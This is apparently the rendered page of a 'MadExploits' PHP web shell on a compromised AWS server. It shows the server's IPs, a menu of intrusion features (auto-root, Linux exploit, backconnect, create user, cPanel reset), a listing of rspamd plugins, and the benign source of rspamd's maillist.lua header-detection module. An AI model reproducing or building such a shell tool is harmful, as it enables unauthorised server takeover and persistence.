Linux ip-172-26-2-223 5.4.0-1018-aws #18-Ubuntu SMP Wed Jun 24 01:15:00 UTC 2020 x86_64
Apache
: 172.26.2.223 | : 3.137.142.253
Cant Read [ /etc/named.conf ]
8.1.13
www
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
share /
rspamd /
plugins /
[ HOME SHELL ]
Name
Size
Permission
Action
antivirus.lua
11.24
KB
-rw-r--r--
arc.lua
26.72
KB
-rw-r--r--
asn.lua
4.78
KB
-rw-r--r--
aws_s3.lua
7.93
KB
-rw-r--r--
bayes_expiry.lua
14.21
KB
-rw-r--r--
bimi.lua
11.5
KB
-rw-r--r--
clickhouse.lua
49.6
KB
-rw-r--r--
clustering.lua
9.16
KB
-rw-r--r--
dcc.lua
3.19
KB
-rw-r--r--
dkim_signing.lua
5.25
KB
-rw-r--r--
dmarc.lua
21.89
KB
-rw-r--r--
dynamic_conf.lua
8.7
KB
-rw-r--r--
elastic.lua
54.28
KB
-rw-r--r--
emails.lua
128
B
-rw-r--r--
external_relay.lua
7.89
KB
-rw-r--r--
external_services.lua
12.3
KB
-rw-r--r--
force_actions.lua
7.67
KB
-rw-r--r--
forged_recipients.lua
5.32
KB
-rw-r--r--
fuzzy_collect.lua
5.46
KB
-rw-r--r--
gpt.lua
11.32
KB
-rw-r--r--
greylist.lua
16.36
KB
-rw-r--r--
hfilter.lua
16.15
KB
-rw-r--r--
history_redis.lua
9.31
KB
-rw-r--r--
http_headers.lua
6.46
KB
-rw-r--r--
ip_score.lua
130
B
-rw-r--r--
known_senders.lua
13.2
KB
-rw-r--r--
maillist.lua
6.55
KB
-rw-r--r--
maps_stats.lua
3.7
KB
-rw-r--r--
metadata_exporter.lua
20.19
KB
-rw-r--r--
metric_exporter.lua
6.4
KB
-rw-r--r--
mid.lua
3.58
KB
-rw-r--r--
milter_headers.lua
21
KB
-rw-r--r--
mime_types.lua
20.09
KB
-rw-r--r--
multimap.lua
40.08
KB
-rw-r--r--
mx_check.lua
11.42
KB
-rw-r--r--
neural.lua
32.82
KB
-rw-r--r--
once_received.lua
4.76
KB
-rw-r--r--
p0f.lua
2.88
KB
-rw-r--r--
phishing.lua
19.33
KB
-rw-r--r--
ratelimit.lua
22.77
KB
-rw-r--r--
rbl.lua
40.09
KB
-rw-r--r--
replies.lua
13.69
KB
-rw-r--r--
reputation.lua
39.69
KB
-rw-r--r--
rspamd_update.lua
4.07
KB
-rw-r--r--
settings.lua
40.17
KB
-rw-r--r--
spamassassin.lua
48.89
KB
-rw-r--r--
spamtrap.lua
5.87
KB
-rw-r--r--
spf.lua
7.49
KB
-rw-r--r--
trie.lua
4.89
KB
-rw-r--r--
url_redirector.lua
13.42
KB
-rw-r--r--
whitelist.lua
11.54
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : maillist.lua
--[[ Copyright (c) 2022, Vsevolod Stakhov <vsevolod@rspamd.com> Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ]]-- if confighelp then return end -- Module for checking mail list headers local N = 'maillist' local symbol = 'MAILLIST' local lua_util = require "lua_util" -- EZMLM -- Mailing-List: .*run by ezmlm -- Precedence: bulk -- List-Post: <mailto: -- List-Help: <mailto: -- List-Unsubscribe: <mailto:[a-zA-Z\.-]+-unsubscribe@ -- List-Subscribe: <mailto:[a-zA-Z\.-]+-subscribe@ -- RFC 2919 headers exist local function check_ml_ezmlm(task) -- Mailing-List local header = task:get_header('mailing-list') if not header or not string.find(header, 'ezmlm$') then return false end -- Precedence header = task:get_header('precedence') if not header or not string.match(header, '^bulk$') then return false end -- Other headers header = task:get_header('list-post') if not header or not string.find(header, '^<mailto:') then return false end header = task:get_header('list-help') if not header or not string.find(header, '^<mailto:') then return false end -- Subscribe and unsubscribe header = task:get_header('list-subscribe') if not header or not string.find(header, '<mailto:[a-zA-Z.-]+-subscribe@') then return false end header = task:get_header('list-unsubscribe') if not header or not string.find(header, '<mailto:[a-zA-Z.-]+-unsubscribe@') then return false end return true end -- GNU Mailman -- Two major versions currently in use and they use slightly different headers -- Mailman2: https://code.launchpad.net/~mailman-coders/mailman/2.1 -- Mailman3: https://gitlab.com/mailman/mailman local function check_ml_mailman(task) local header = task:get_header('X-Mailman-Version') if not header then return false end local mm_version = header:match('^([23])%.') if not mm_version then lua_util.debugm(N, task, 'unknown Mailman version: %s', header) return false end lua_util.debugm(N, task, 'checking Mailman %s headers', mm_version) -- XXX Some messages may not contain Precedence, but they are rare: -- http://bazaar.launchpad.net/~mailman-coders/mailman/2.1/revision/1339 header = task:get_header('Precedence') if not header or (header ~= 'bulk' and header ~= 'list') then return false end -- Mailman 3 allows to disable all List-* headers in settings, but by default it adds them. -- In all other cases all Mailman message should have List-Id header if not task:has_header('List-Id') then return false end if mm_version == '2' then -- X-BeenThere present in all Mailman2 messages if not task:has_header('X-BeenThere') then return false end -- X-List-Administrivia: is only added to messages Mailman creates and -- sends out of its own accord header = task:get_header('X-List-Administrivia') if header and header == 'yes' then -- not much elase we can check, Subjects can be changed in settings return true end else -- Mailman 3 -- XXX not Mailman3 admin messages have this headers, but one -- which don't usually have List-* headers examined below if task:has_header('List-Administrivia') then return true end end -- List-Archive and List-Post are optional, check other headers for _, h in ipairs({ 'List-Help', 'List-Subscribe', 'List-Unsubscribe' }) do header = task:get_header(h) if not (header and header:find('<mailto:', 1, true)) then return false end end return true end -- Google groups detector -- header exists X-Google-Loop -- RFC 2919 headers exist -- local function check_ml_googlegroup(task) return task:has_header('X-Google-Loop') or task:has_header('X-Google-Group-Id') end -- CGP detector -- X-Listserver = CommuniGate Pro LIST -- RFC 2919 headers exist -- local function check_ml_cgp(task) local header = task:get_header('X-Listserver') if not header or string.sub(header, 0, 20) ~= 'CommuniGate Pro LIST' then return false end return true end -- RFC 2919 headers local function check_generic_list_headers(task) local score = 0 local has_subscribe, has_unsubscribe local common_list_headers = { ['List-Id'] = 0.75, ['List-Archive'] = 0.125, ['List-Owner'] = 0.125, ['List-Help'] = 0.125, ['List-Post'] = 0.125, ['X-Loop'] = 0.125, ['List-Subscribe'] = function() has_subscribe = true return 0.125 end, ['List-Unsubscribe'] = function() has_unsubscribe = true return 0.125 end, ['Precedence'] = function() local header = task:get_header('Precedence') if header and (header == 'list' or header == 'bulk') then return 0.25 end end, } for hname, hscore in pairs(common_list_headers) do if task:has_header(hname) then if type(hscore) == 'number' then score = score + hscore lua_util.debugm(N, task, 'has %s header, score = %s', hname, score) else local score_change = hscore() if score and score_change then score = score + score_change lua_util.debugm(N, task, 'has %s header, score = %s', hname, score) end end end end if has_subscribe and has_unsubscribe then score = score + 0.25 end lua_util.debugm(N, task, 'final maillist score %s', score) return score end -- RFC 2919 headers exist local function check_maillist(task) local score = check_generic_list_headers(task) if score >= 1 then if check_ml_ezmlm(task) then task:insert_result(symbol, 1, 'ezmlm') elseif check_ml_mailman(task) then task:insert_result(symbol, 1, 'mailman') elseif check_ml_googlegroup(task) then task:insert_result(symbol, 1, 'googlegroups') elseif check_ml_cgp(task) then task:insert_result(symbol, 1, 'cgp') else if score > 2 then score = 2 end task:insert_result(symbol, 0.5 * score, 'generic') end end end -- Configuration local opts = rspamd_config:get_all_opt('maillist') if opts then if opts['symbol'] then symbol = opts['symbol'] rspamd_config:register_symbol({ name = symbol, callback = check_maillist, flags = 'nice' }) end end
Close